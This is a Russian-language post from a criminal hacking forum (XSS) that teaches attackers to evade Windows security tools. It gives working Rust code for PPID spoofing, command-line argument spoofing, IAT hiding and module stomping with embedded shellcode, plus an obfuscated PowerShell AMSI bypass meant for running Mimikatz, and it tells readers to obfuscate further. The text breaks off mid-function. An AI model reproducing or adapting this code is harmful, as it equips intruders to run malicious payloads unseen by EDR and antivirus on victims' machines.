• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Техники обхода защиты (Windows Evasion)

voldemort

(L3) cache
Пользователь
Регистрация
27.07.2023
Сообщения
289
Реакции
253
Гарант сделки
1
В этой статье мы поговорим о некоторых методах уклонения, которые до сих пор используются злоумышленниками для обхода некоторых механизмов обнаружения Windows и позволяют им оставаться незамеченными для систем безопасности как можно дольше.

1- PPID Spoofing.​

PPID Spoofing - это техника, которая была представлена широкой аудитории специалистов по информационной безопасности в 2009 году 'Didier Stevens'. Она включает в себя изменение идентификатора родительского процесса (parent process ID) вновь созданного процесса, создавая видимость того, что процесс был порожден легитимным процессом Windows, а не его истинным родителем. Эта манипуляция нарушает видимую цепочку выполнения, позволяя вредоносной активности оставаться незамеченной для средств безопасности, которые отслеживают аномальные отношения между родительскими и дочерними процессами.

Эта техника важна, поскольку многие продукты EDR полагаются на отношения родитель-потомок. Например, представьте, что вы проводите фишинговую атаку, и ваша полезная нагрузка сначала будет выполнена в Excel, после чего она выполнит другую полезную нагрузку, такую как скрипт PowerShell. При этом новый процесс PowerShell будет создан как дочерний процесс Excel. Такая комбинация обычно является индикатором выполнения вредоносных макросов и может быть легко обнаружена многими EDR, поскольку они четко видят отношения родитель-потомок. Если вы можете запустить PowerShell как дочерний процесс доброкачественного процесса Windows, например explorer.exe, эта связь нарушается, и обнаружение можно избежать.

Как PPID Spoofing реализуется программно​

С технической точки зрения, PPID Spoofing может быть реализован с использованием функций Windows API. Ключевым моментом является функция CreateProcessA, которая может быть расширена дополнительными параметрами для указания родительского процесса. Это достигается с помощью флага EXTENDED_STARTUPINFO_PRESENT и заполнения структуры STARTUPINFOEXA:
Код:
#[repr(C)]
pub struct STARTUPINFOEXA {
    pub StartupInfo: STARTUPINFOA,
    pub lpAttributeList: LPPROC_THREAD_ATTRIBUTE_LIST,
}
  • StartupInfo содержит детали, связанные с созданием процесса.
  • lpAttributeList создается с использованием WinAPI InitializeProcThreadAttributeList.
    Злоумышленники могут определить список атрибутов, который является структурой данных, хранящей список атрибутов, связанных с процессом или потоком. Эти атрибуты могут включать информацию, такую как приоритет, алгоритм планирования, состояние, привязка к процессору и адресное пространство памяти процесса или потока, среди прочего. Списки атрибутов могут использоваться для эффективного хранения и получения информации о процессах и потоках, а также для изменения атрибутов процесса или потока во время выполнения. Список атрибутов включает PROC_THREAD_ATTRIBUTE_PARENT_PROCESS. Этот атрибут позволяет запускать новый процесс с подмененным PPID, эффективно нарушая видимую связь родитель-потомок.

InitializeProcThreadAttributeList​

Код:
pub unsafe fn InitializeProcThreadAttributeList(
    lpattributelist: Option<LPPROC_THREAD_ATTRIBUTE_LIST>,
    dwattributecount: u32,
    dwflags: Option<u32>,
    lpsize: *mut usize,
) -> Result<()>
  • Первый вызов функции InitializeProcThreadAttributeList должен иметь значение NULL для параметра lpattributelist. Этот вызов используется для определения размера списка атрибутов, который будет получен из параметра lpsize.
  • Второй вызов InitializeProcThreadAttributeList должен указывать действительный указатель для параметра lpattributelist. Значение lpsize должно быть предоставлено в качестве входных данных в этот раз. Этот вызов инициализирует список атрибутов.

UpdateProcThreadAttribute

Код:
pub unsafe fn UpdateProcThreadAttribute(
    lpattributelist: LPPROC_THREAD_ATTRIBUTE_LIST,
    dwflags: u32,
    attribute: usize,
    lpvalue: Option<*const c_void>,
    cbsize: usize,
    lppreviousvalue: Option<*mut c_void>,
    lpreturnsize: Option<*const usize>,
) -> Result<()>
  • attribute - Этот флаг критически важен, он используется для обновления информации о родительском процессе в списке атрибутов. Он указывает родительский процесс потока, который обычно является процессом, создавшим поток. В данном случае он должен быть установлен в PROC_THREAD_ATTRIBUTE_PARENT_PROCESS для обновления информации о родительском процессе.
  • lpvalue - Дескриптор родительского процесса.
  • cbsize - Размер значения атрибута, указанного параметром lpvalue. Он будет установлен как sizeof(HANDLE).
Таким образом, следующие шаги обобщают необходимые действия для выполнения PPID spoofing:

  1. CreateProcessA вызывается с флагом EXTENDED_STARTUPINFO_PRESENT для обеспечения дополнительного контроля над создаваемым процессом.
  2. Создается структура STARTUPINFOEXA, которая содержит список атрибутов, LPPROC_THREAD_ATTRIBUTE_LIST.
  3. Вызывается InitializeProcThreadAttributeList для инициализации списка атрибутов. Функция должна быть вызвана дважды, первый раз определяет размер списка атрибутов, а следующий вызов выполняет инициализацию.
  4. UpdateProcThreadAttribute используется для обновления атрибутов путем установки флага PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, который позволяет пользователю указать родительский процесс потока.
    В нашем случае, мы запустим Notepad.exe как дочерний процесс explorer.exe
C++:
use std::{ffi::c_void, mem::size_of, ptr::null_mut};
use windows::{
    core::PSTR,
    Win32::{
        Foundation::HANDLE,
        System::{
            Memory::{GetProcessHeap, HeapAlloc, HEAP_ZERO_MEMORY},
            Threading::{
                CreateProcessA, DeleteProcThreadAttributeList, InitializeProcThreadAttributeList,
                OpenProcess, UpdateProcThreadAttribute, EXTENDED_STARTUPINFO_PRESENT,
                LPPROC_THREAD_ATTRIBUTE_LIST, PROCESS_ALL_ACCESS, PROCESS_INFORMATION,
                PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, STARTUPINFOEXA,
            },
        },
    },
};

fn main() {
    if std::env::args().len() != 2 {
        println!("Usage: {} <PID>", std::env::args().next().unwrap());
        return;
    }
    let pid = match std::env::args().nth(1).unwrap().parse::<u32>() {
        Ok(pid) => pid,
        Err(_) => {
            println!("Invalid PID");
            return;
        }
    };
    let mut startup_info = STARTUPINFOEXA::default();
    let mut process_info = PROCESS_INFORMATION::default();
    startup_info.StartupInfo.cb = size_of::<STARTUPINFOEXA>() as u32;
    unsafe {
        let h_parent_process = OpenProcess(PROCESS_ALL_ACCESS, false, pid).unwrap_or_else(|err| panic!("Error opening parent process: {}", err)); // PPID
        let mut attr_size: usize = 0;
        let _ = InitializeProcThreadAttributeList(
            Some(LPPROC_THREAD_ATTRIBUTE_LIST(null_mut())),
            1,
            Some(0),
            &mut attr_size,
        );
        let attr_list = LPPROC_THREAD_ATTRIBUTE_LIST(HeapAlloc(
            GetProcessHeap().unwrap(),
            HEAP_ZERO_MEMORY,
            attr_size,
        ));
        let _ = InitializeProcThreadAttributeList(Some(attr_list), 1, Some(0), &mut attr_size);

        let _ = UpdateProcThreadAttribute(
            attr_list,
            0,
            PROC_THREAD_ATTRIBUTE_PARENT_PROCESS as usize,
            Some(&h_parent_process as *const _ as *const c_void),
            size_of::<HANDLE>(),
            None,
            None,
        );

        let windir = std::env::var("WINDIR").unwrap() + "\\System32\\notepad.exe";
        startup_info.lpAttributeList = attr_list;
        let _ = CreateProcessA(
            None,
            Some(PSTR(windir.as_ptr() as _)),
            None,
            None,
            false,
            EXTENDED_STARTUPINFO_PRESENT,
            None,
            None,
            &startup_info.StartupInfo,
            &mut process_info,
        );

        DeleteProcThreadAttributeList(attr_list);
    }
}
Как вы можете видеть, подмена PPID прошла успешно. Процесс Notepad.exe отображается так, как будто он был запущен процессом explorer.exe.
Screenshot 2025-02-05 120725.png



Обратите внимание, как в предыдущей демонстрации значение "Current Directory" указывает на расположение каталога исполняемого файла ppid_spoofing.exe. Это может легко стать индикатором компрометации, и решения безопасности или специалисты по защите могут быстро отметить эту аномалию. Чтобы исправить это, просто установите параметр lpCurrentDirectory в WinAPI CreateProcessA на менее подозрительный каталог, такой как "C:\Windows\System32".
C++:
use std::{ffi::{c_void,CString}, mem::size_of, ptr::null_mut};
use windows::{
    core::{PSTR, PCSTR},
    Win32::{
        Foundation::HANDLE,
        System::{
            Memory::{GetProcessHeap, HeapAlloc, HEAP_ZERO_MEMORY},
            Threading::{
                CreateProcessA, DeleteProcThreadAttributeList, InitializeProcThreadAttributeList,
                OpenProcess, UpdateProcThreadAttribute, EXTENDED_STARTUPINFO_PRESENT,
                LPPROC_THREAD_ATTRIBUTE_LIST, PROCESS_ALL_ACCESS, PROCESS_INFORMATION,
                PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, STARTUPINFOEXA,
            },
        },
    },
};

fn main() {
    if std::env::args().len() != 2 {
        println!("Usage: {} <PID>", std::env::args().next().unwrap());
        return;
    }
    let pid = match std::env::args().nth(1).unwrap().parse::<u32>() {
        Ok(pid) => pid,
        Err(_) => {
            println!("Invalid PID");
            return;
        }
    };
    let mut startup_info = STARTUPINFOEXA::default();
    let mut process_info = PROCESS_INFORMATION::default();
    startup_info.StartupInfo.cb = size_of::<STARTUPINFOEXA>() as u32;
    unsafe {
        let h_parent_process = OpenProcess(PROCESS_ALL_ACCESS, false, pid).unwrap_or_else(|err| panic!("Error opening parent process: {}", err)); // PPID
        let mut attr_size: usize = 0;
        let _ = InitializeProcThreadAttributeList(
            Some(LPPROC_THREAD_ATTRIBUTE_LIST(null_mut())),
            1,
            Some(0),
            &mut attr_size,
        );
        let attr_list = LPPROC_THREAD_ATTRIBUTE_LIST(HeapAlloc(
            GetProcessHeap().unwrap(),
            HEAP_ZERO_MEMORY,
            attr_size,
        ));
        let _ = InitializeProcThreadAttributeList(Some(attr_list), 1, Some(0), &mut attr_size);

        let _ = UpdateProcThreadAttribute(
            attr_list,
            0,
            PROC_THREAD_ATTRIBUTE_PARENT_PROCESS as usize,
            Some(&h_parent_process as *const _ as *const c_void),
            size_of::<HANDLE>(),
            None,
            None,
        );

        let windir = std::env::var("WINDIR").unwrap() + "\\System32\\notepad.exe";
        startup_info.lpAttributeList = attr_list;
        let parent_dir = CString::new("C:\\Windows\\System32").unwrap();
        let dir_ptr = PCSTR(parent_dir.as_ptr() as *const u8);
        let _ = CreateProcessA(
            None,
            Some(PSTR(windir.as_ptr() as _)),
            None,
            None,
            false,
            EXTENDED_STARTUPINFO_PRESENT,
            None,
            dir_ptr,
            &startup_info.StartupInfo,
            &mut process_info,
        );

        DeleteProcThreadAttributeList(attr_list);
    }
}
Screenshot 2025-02-05 125931.png



Process Argument Spoofing.​

Спуфинг аргументов процесса - это техника, используемая для сокрытия аргументов командной строки вновь созданного процесса с целью выполнения команд без их раскрытия службам логирования, таким как Procmon. На изображении ниже показано, как Procmon регистрирует команду powershell.exe -c calc.exe. Цель этого модуля - запустить powershell.exe -c calc.exe без успешного логирования в Procmon.
Screenshot 2025-02-06 124158.png


PEB​

Код:
#[repr(C)]
pub struct PEB {

    pub Reserved1: [u8; 2],
    pub BeingDebugged: u8,
    pub Reserved2: [u8; 1],
    pub Reserved3: [*mut c_void; 2],
    pub Ldr: *mut PEB_LDR_DATA,
    pub ProcessParameters: *mut RTL_USER_PROCESS_PARAMETERS,
    pub Reserved4: [*mut c_void; 3],
    pub AtlThunkSListPtr: *mut c_void,
    pub Reserved5: *mut c_void,
    pub Reserved6: u32,
    pub Reserved7: *mut c_void,
    pub Reserved8: u32,
    pub AtlThunkSListPtr32: u32,
    pub Reserved9: [*mut c_void; 45],
    pub Reserved10: [u8; 96],
    pub PostProcessInitRoutine: PPS_POST_PROCESS_INIT_ROUTINE,
    pub Reserved11: [u8; 128],
    pub Reserved12: [*mut c_void; 1],
    pub SessionId: u32,
}
Блок среды процесса (PEB) - это важная структура данных, содержащая различную информацию о работающем процессе Windows, такую как параметры, информацию о запуске, сведения о выделенной куче и загруженных библиотеках DLL, помимо прочего. Он используется операционной системой для хранения информации о работающих процессах и загрузчиком Windows для запуска приложений. Также он содержит информацию о процессе. Более конкретно, структура RTL_USER_PROCESS_PARAMETERS внутри PEB содержит член CommandLine, который хранит аргументы командной строки. Структура RTL_USER_PROCESS_PARAMETERS показана ниже.
Код:
#[repr(C)]
pub struct RTL_USER_PROCESS_PARAMETERS {
    pub Reserved1: [u8; 16],
    pub Reserved2: [*mut c_void; 10],
    pub ImagePathName: UNICODE_STRING,
    pub CommandLine: UNICODE_STRING,
}
Параметр CommandLine определен как UNICODE_STRING.
Для выполнения спуфинга аргументов командной строки необходимо сначала создать целевой процесс в приостановленном состоянии, передав фиктивные аргументы, которые не считаются подозрительными - следует учитывать, что они должны быть достаточно длинными, так как если реальный аргумент будет больше, это может перезаписать байты за пределами фиктивного аргумента, что приведет к аварийному завершению процесса. Перед возобновлением процесса необходимо исправить строку PEB->ProcessParameters.CommandLine.Buffer желаемой полезной нагрузкой, что заставит службы логирования регистрировать фиктивные аргументы вместо фактических аргументов командной строки, которые будут выполняться. Для выполнения этой процедуры необходимо выполнить следующие шаги:

  1. Создайте целевой процесс в приостановленном состоянии.
  2. Получите удаленный адрес PEB созданного процесса.
  3. Прочитайте удаленную структуру PEB из созданного процесса.
  4. Прочитайте удаленную структуру PEB->ProcessParameters из созданного процесса.
  5. Исправьте буфер ProcessParameters.CommandLine.Buffer и перезапишите его полезной нагрузкой для выполнения.
  6. Возобновите процесс.
Для получения адреса PEB удаленного процесса требуется использование NtQueryInformationProcess с флагом ProcessBasicInformation. Как отмечено в документации, при использовании флага ProcessBasicInformation, NtQueryInformationProcess вернет структуру PROCESS_BASIC_INFORMATION, которая выглядит следующим образом:
Код:
#[repr(C)]
pub struct PROCESS_BASIC_INFORMATION {
    pub ExitStatus: NTSTATUS,
    pub PebBaseAddress: *mut PEB,
    pub AffinityMask: usize,
    pub BasePriority: i32,
    pub UniqueProcessId: usize,
    pub InheritedFromUniqueProcessId: usize,
}
После получения адреса PEB удалённого процесса можно прочитать структуру PEB с помощью WinAPI ReadProcessMemory.
C++:
use std::{ffi::c_void, mem::size_of};
use windows::{
    core::{w, PWSTR},
    Wdk::System::Threading::{NtQueryInformationProcess, ProcessBasicInformation},
    Win32::{
        Foundation::CloseHandle,
        System::{
            Diagnostics::Debug::{ReadProcessMemory, WriteProcessMemory},
            Threading::{
                CreateProcessW, ResumeThread, WaitForSingleObject,
                CREATE_NO_WINDOW, CREATE_SUSPENDED, INFINITE, PEB,
                PROCESS_BASIC_INFORMATION, PROCESS_INFORMATION,
                RTL_USER_PROCESS_PARAMETERS, STARTUPINFOW,
            },
        }
    }
};

fn main() -> Result<(), Box<dyn std::error::Error>> {
    unsafe {
        // Creating a process in suspended mode
        let mut start_argument = to_pwstr("powershell.exe This is a Legit Argument");
        let mut process_information = PROCESS_INFORMATION::default();
        let mut startup_info = STARTUPINFOW {
            cb: size_of::<STARTUPINFOW>() as u32,
            ..Default::default()
        };

        CreateProcessW(
            None,
            Some(PWSTR(start_argument.as_mut_ptr())),
            None,
            None,
            false,
            CREATE_SUSPENDED | CREATE_NO_WINDOW,
            None,
            w!("C:\\Windows\\System32\\"),
            &mut startup_info,
            &mut process_information,
        )?;

        println!("[+] DONE!");
        println!("[+] Target PID Process: {}", process_information.dwProcessId);

        let h_process = process_information.hProcess;
        let h_thread = process_information.hThread;

        // Retrieving PEB address
        let mut process_basic = PROCESS_BASIC_INFORMATION::default();
        let mut return_len: u32 = 0;
        let _ = NtQueryInformationProcess(
            h_process,
            ProcessBasicInformation,
            &mut process_basic as *mut _ as *mut c_void,
            size_of::<PROCESS_BASIC_INFORMATION>() as u32,
            &mut return_len,
        );

        println!("[+] Adress to PEB: {:?}", process_basic.PebBaseAddress);

        // Reading the PEB address
        let mut peb = PEB::default();
        ReadProcessMemory(
            h_process,
            process_basic.PebBaseAddress as *const c_void,
            &mut peb as *mut _ as *mut c_void,
            size_of::<PEB>(),
            None,
        )?;

        // Reading the RTL_USER_PROCESS_PARAMETERS structure from the remote process's PEB
        let mut user_process_params = RTL_USER_PROCESS_PARAMETERS::default();
        ReadProcessMemory(
            h_process,
            peb.ProcessParameters as *const c_void,
            &mut user_process_params as *mut _ as *mut c_void,
            size_of::<RTL_USER_PROCESS_PARAMETERS>() + 255,
            None,
        )?;

        // Changing the Buffer value for the actual command
        let reajust_argument = to_pwstr("powershell.exe -c calc.exe");
        match WriteProcessMemory(
            h_process,
            user_process_params.CommandLine.Buffer.as_ptr() as _,
            reajust_argument.as_ptr() as *const c_void,
            reajust_argument.len() * size_of::<u16>(),
            None,
        ) {
            Ok(_) => println!("[+] Buffer Changed!"),
            Err(e) => println!("[-] Error: {:?}", e),
        }

        println!("[+] Thread Executed!!");
        // Resuming the Thread for execution
        ResumeThread(h_thread);
        WaitForSingleObject(h_thread, INFINITE);

        CloseHandle(h_process)?;
        CloseHandle(h_thread)?;
    }

    Ok(())
}

/// Converts a Rust string `&str` to a UTF-16 null pointer (PWSTR).
fn to_pwstr(s: &str) -> Vec<u16> {
    s.encode_utf16().chain(Some(0)).collect()
}
Screenshot 2025-02-07 143235.png

AMSI.​

AMSI (Антивирусный интерфейс сканирования) - это функция Windows, представленная в Windows 10 и Windows Server 2016. Её основная цель - позволить стороннему программному обеспечению интегрироваться с ней для сканирования и обнаружения вредоносных скриптов и кода в режиме реального времени во время выполнения.
По умолчанию Windows Defender взаимодействует с AMSI API для сканирования скриптов PowerShell, макросов VBA, сборок .NET, JavaScript с использованием технологии Windows Script Host во время выполнения.

Когда пользователь выполняет скрипт или запускает PowerShell, amsi.dll внедряется в адресное пространство процесса. AmsiScanBuffer и AmsiScanString используются антивирусом перед выполнением в качестве способа межпроцессного взаимодействия для сканирования буфера и строк на предмет подозрительной активности. В конечном итоге это предотвращает произвольное выполнение кода.
Screenshot 2025-02-08 224413.png
Screenshot_20250208_224835.png


amsi.jpg


Вот как выглядит обнаружение AMSI, поэтому давайте попробуем запустить вредоносный скрипт, например Mimikatz, и посмотрим, что произойдет.
Screenshot 2025-02-08 115614.png


Как видите, как и ожидалось, команда была обнаружена мгновенно, и система сообщает, что это вредоносный код.

Powershell​

PowerShell — это обоюдоострый меч. Хотя это законный и мощный инструмент для администраторов, его гибкость и глубокая интеграция с Windows делают его ценным активом для злоумышленников. Поэтому в этом примере мы обойдем AMSI и выполним наши полезные нагрузки без вмешательства.
Существует множество способов обхода AMSI, таких как модификация памяти (Memory Patching), понижение версии PowerShell (Powershell Downgrade) и обфускация кода.

В нашем случае мы используем известный метод модификации памяти, который включает прямое изменение функций, связанных с AMSI, в памяти для отключения его функциональности. Таким образом, злоумышленники перезаписывают функцию AmsiScanBuffer, чтобы она всегда возвращала статус успеха, эффективно обходя обнаружение.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic, Static').SetValue($null, $true)

Конечно, если вы вставите этот код в PowerShell, он абсолютно точно не сработает. Поэтому что мы можем сделать, так это добавить слой обфускации. Мы скроем реальные намерения и функциональность кода. Это затрудняет для сканеров AMSI интерпретацию истинного назначения скрипта.
Таким образом, заобфусцированный код будет выглядеть следующим образом:
Bash:
$a = [char[]]@(83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,65,109,115,105,85,116,105,108,115) -join '';
$b = [char]97+[char]109+[char]115+[char]105+[char]73+[char]110+[char]105+[char]116+[char]70+[char]97+[char]105+[char]108+[char]101+[char]100;
$c = [char]83+[char]101+[char]116+[char]86+[char]97+[char]108+[char]117+[char]101;
[Ref].Assembly.GetType($a).GetField($b, 'NonPublic,Static').($c)($null, $true)
Код простой: мы просто выполняем конкатенацию строк, преобразуем ASCII/Unicode-числа в их символьные эквиваленты, затем снова выполняем конкатенацию строк и после этого сохраняем результат в переменную.
Screenshot 2025-02-08 125529.png


Теперь, как видите, нам удалось успешно обойти защиту. Появившийся код ошибки связан с тем, что я не установил модуль Mimikatz на своей системе. Если бы он был установлен, он выполнялся бы без проблем.

Чтобы узнать больше о техниках обхода AMSI, вы можете посетить этот репозиторий на GitHub: Amsi-Bypass-Powershell. Обратите внимание, что не весь код будет работать – вам нужно доработать его и максимально обфусцировать.

IAT Hiding.​

Таблица импорта адресов (IAT) содержит информацию о PE-файле, такую как используемые функции и экспортирующие их DLL. Этот тип информации может использоваться для создания сигнатур и обнаружения исполняемого файла. Чтобы скрыть функции из IAT, можно использовать GetProcAddress, GetModuleHandle или LoadLibrary для динамической загрузки этих функций во время выполнения, поэтому они не будут отображаться в IAT при проверке. Более элегантный способ сделать это - создать пользовательские функции, которые выполняют те же действия, что и WinAPI GetProcAddress и GetModuleHandle. Таким образом становится возможным динамически загружать функции без появления этих двух функций в IAT.

GetModuleHandle

Функция GetModuleHandle получает дескриптор для указанной DLL. Функция возвращает дескриптор DLL или NULL, если DLL не существует в вызывающем процессе. Тип данных HMODULE (*mut c_void) является базовым адресом загруженной DLL, то есть местом, где DLL находится в адресном пространстве процесса. Следовательно, цель функции замены - получить базовый адрес указанной DLL. Блок окружения процесса (PEB) содержит информацию о загруженных DLL, в частности, член PEB_LDR_DATA Ldr структуры PEB. Таким образом, начальным шагом является доступ к этому члену через структуру PEB.
C++:
unsafe fn get_module(dll: &str) -> Result<*mut c_void, ()> {
    let peb = get_peb();
    let ldr = (*peb).Ldr;
    let mut list_entry = (*ldr).InLoadOrderModuleList.Flink as *mut LDR_DATA_TABLE_ENTRY;

    while !(*list_entry).DllBase.is_null() {
        let buffer = slice::from_raw_parts(
            (*list_entry).BaseDllName.Buffer,
            ((*list_entry).BaseDllName.Length / 2) as usize,
        );
        let dll_name = String::from_utf16_lossy(&buffer).to_lowercase();
        if dll == dll_name {
            return Ok((*list_entry).DllBase);
        }

        list_entry = (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
    }

    Err(())
}

unsafe fn get_peb() -> *mut PEB {
    let teb_offset = ntapi::FIELD_OFFSET!(NT_TIB, Self_) as u32;

    #[cfg(target_arch = "x86_64")]
    {
        use ntapi::winapi_local::um::winnt::__readgsqword;

        let teb = __readgsqword(teb_offset) as *mut TEB;
        return (*teb).ProcessEnvironmentBlock;
    }

    #[cfg(target_arch = "x86")]
    {
        use ntapi::winapi_local::um::winnt::__readfsdword;
        let teb = __readfsdword(teb_offset) as *mut TEB;
        return (*teb).ProcessEnvironmentBlock;
    }
}

GetProcAddress

Параметр dll_base является базовым адресом загруженной DLL. Это адрес, по которому модуль DLL находится в адресном пространстве процесса. Учитывая это, получение адреса функции осуществляется путем перебора экспортируемых функций внутри предоставленной DLL и проверки существования имени целевой функции. Если найдено действительное совпадение, происходит получение адреса. Для доступа к экспортируемым функциям необходимо получить доступ к таблице экспорта DLL и выполнить её перебор в поиске имени целевой функции.
C++:
unsafe fn get_proc_address(dll_base: *mut c_void) {
    let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
    if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE {
        eprintln!("INVALID DOS SIGNATURE");
        return;
    }

    let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
    if (*nt_header).Signature != IMAGE_NT_SIGNATURE {
        eprintln!("INVALID NT SIGNATURE");
        return;
    }

    let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
    let names = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as usize);
    let functions = from_raw_parts((dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as usize);
    let ordinals = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as usize);

    for i in 0..(*export_directory).NumberOfNames as usize {
        let name = CStr::from_ptr((dll_base as usize + names[i] as usize) as *const i8).to_str().ok().unwrap_or("");
        let ordinal = ordinals[i] as usize;
        let address = (dll_base as usize + functions[ordinal] as usize) as *mut c_void;
        println!("NAME {} | ADDRESS: {:?} | ORDINAL: {}", name, address, ordinal);
    }
}

Threadless Execution.​

Помните метод внедрения module stomping, который мы обсуждали в прошлой статье?
Когда мы скомпилируем код и запустим его, будет создан новый поток, как видно на изображении ниже.

Screenshot_20250209_131655.png


Function pointer​

Теперь проблема с этой техникой заключается в том, что она создает дополнительный поток. Это важно, потому что нужно понимать, что некоторые EDR (системы предотвращения угроз) и движки антивирусов могут обнаруживать такого рода активность, и для самозащиты вам, возможно, захочется этого избежать. Поэтому нужно найти другой способ выполнения вашего полезного кода без создания нового потока. Основной принцип здесь заключается в том, чтобы захватить существующее выполнение уже работающего потока. Давайте сделаем это и рассмотрим другие способы выполнения полезного кода без создания нового потока. Один из методов, который мы можем использовать, — это просто вызвать наш шелл-код через указатель. Мы создаем указатель на функцию, которая не принимает аргументов, присваиваем адрес этой функции указателю и просто вызываем эту функцию. Хорошо, если мы перекомпилируем нашу программу и запустим ее, то увидим, что сейчас у нас есть два потока, и давайте нажмем Enter. Наш код выполнился, но новый поток не был создан, и причина в том, что он фактически выполняется в основном потоке.
C++:
use std::{ffi::c_void, ptr::null_mut};
use ntapi::ntmmapi::{NtMapViewOfSection, ViewShare};
use windows::{
    core::s,
    Wdk::Storage::FileSystem::NtCreateSection,
    Win32::{
        Foundation::{GENERIC_READ, HANDLE},
        Storage::FileSystem::{
            CreateFileA, FILE_ATTRIBUTE_NORMAL,
            FILE_SHARE_MODE, OPEN_EXISTING
        },
        System::{
            Diagnostics::Debug::IMAGE_NT_HEADERS64,
            SystemServices::{IMAGE_DOS_HEADER, IMAGE_NT_SIGNATURE},
            Memory::{
                VirtualProtect, PAGE_EXECUTE_READWRITE, PAGE_PROTECTION_FLAGS,
                PAGE_READONLY, PAGE_READWRITE, SECTION_ALL_ACCESS, SEC_IMAGE
            },
        },
    },
};

const SHELLCODE: [u8; 276] = [
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
    0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
    0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
    0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
    0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
    0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
    0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
    0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
    0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
    0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
    0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
    0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
    0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
    0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
    0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
    0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
    0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
];

fn main() -> Result<(), Box<dyn std::error::Error>> {
    let address = load_file()?;
    let module = address.0;
    let entry_point = address.1;
    println!("[+] Base Address: {:?}", module);
    println!("[+] AddressOfEntryPoint: {:?}", entry_point);

    unsafe {
        println!("[+] Changing protection from AddressOfEntryPoint to PAGE_READWRITE");
        let mut old_protect = PAGE_PROTECTION_FLAGS(0);
        VirtualProtect(entry_point,SHELLCODE.len(),PAGE_READWRITE,&mut old_protect)?;

        println!("[+] Copying Shellcode to AddressOfEntryPoint");
        std::ptr::copy_nonoverlapping(SHELLCODE.as_ptr(), entry_point as _, SHELLCODE.len());

        println!("[+] Back to the old protection");
        VirtualProtect(entry_point, SHELLCODE.len(), old_protect, &mut old_protect)?;
        println!("[+] Press Enter to Execute Shellcode");
        let _ = std::io::stdin().read_line(&mut String::new());
        //CreateThread(None,0,Some(std::mem::transmute(entry_point)),None,THREAD_CREATION_FLAGS(0), None)?;
        execute_shell(entry_point);
        println!("[+] Shellcode Executed!");
        std::thread::sleep(std::time::Duration::from_secs(10));

        Ok(())
    }
}

fn load_file() -> Result<(*mut c_void, *mut c_void), String> {
    unsafe {
        let h_file = CreateFileA(
            s!("C:\\Windows\\System32\\user32.dll"),
            GENERIC_READ.0,
            FILE_SHARE_MODE(0),
            None,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            None,
        ).map_err(|e| format!("[!] CreateFileA Failed With Error: {e}"))?;

        let mut section = HANDLE::default();
        let status = NtCreateSection(
            &mut section,
            SECTION_ALL_ACCESS.0,
            None,
            None,
